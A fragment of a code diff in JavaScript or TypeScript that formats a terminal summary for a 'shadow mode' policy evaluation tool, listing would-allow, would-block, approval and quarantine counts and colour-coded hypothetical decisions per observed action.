+ if (json) return { output: JSON.stringify(summary, null, 2), code: 0 };
40
+
41
+ const lines = [
42
+ "",
43
+ ` ${bold("CIRVIX SHADOW MODE EVALUATION")}`,
44
+ ` ${dim("Non-blocking policy observation — live actions proceed without disruption")}`,
45
+ "",
46
+ ` ${bold("Summary:")}`,
47
+ ` ${dim("Total Observed:")} ${summary.totalEvaluated}`,
48
+ ` ${green("●")} ${dim("Would Allow:")} ${summary.wouldAllow}`,
49
+ ` ${red("●")} ${dim("Would Block:")} ${summary.wouldBlock}`,
50
+ ` ${amber("●")} ${dim("Would Require Approval:")} ${summary.wouldRequireApproval}`,
51
+ ` ${red("●")} ${dim("Would Quarantine:")} ${summary.wouldQuarantine}`,
52
+ "",
53
+ ` ${bold("Observed Counterfactuals:")}`,
54
+ ...summary.logSnippet.map((s) => {
55
+ const tone = s.hypotheticalDecision === "ALLOW" ? green : s.hypotheticalDecision === "REQUIRE_APPROVAL" ? amber : red;
56
+ return ` ${tone(s.hypotheticalDecision.padEnd(16))} ${dim(s.call.action)} ${s.call.resource} ${dim(`[${s.ruleMatched ?? "default"}]`)}`;
57
+ }),
58
+ "",
59
+ ];
60
+
61
+ return { output: lines.join("\n"), code: 0 };
62
+ }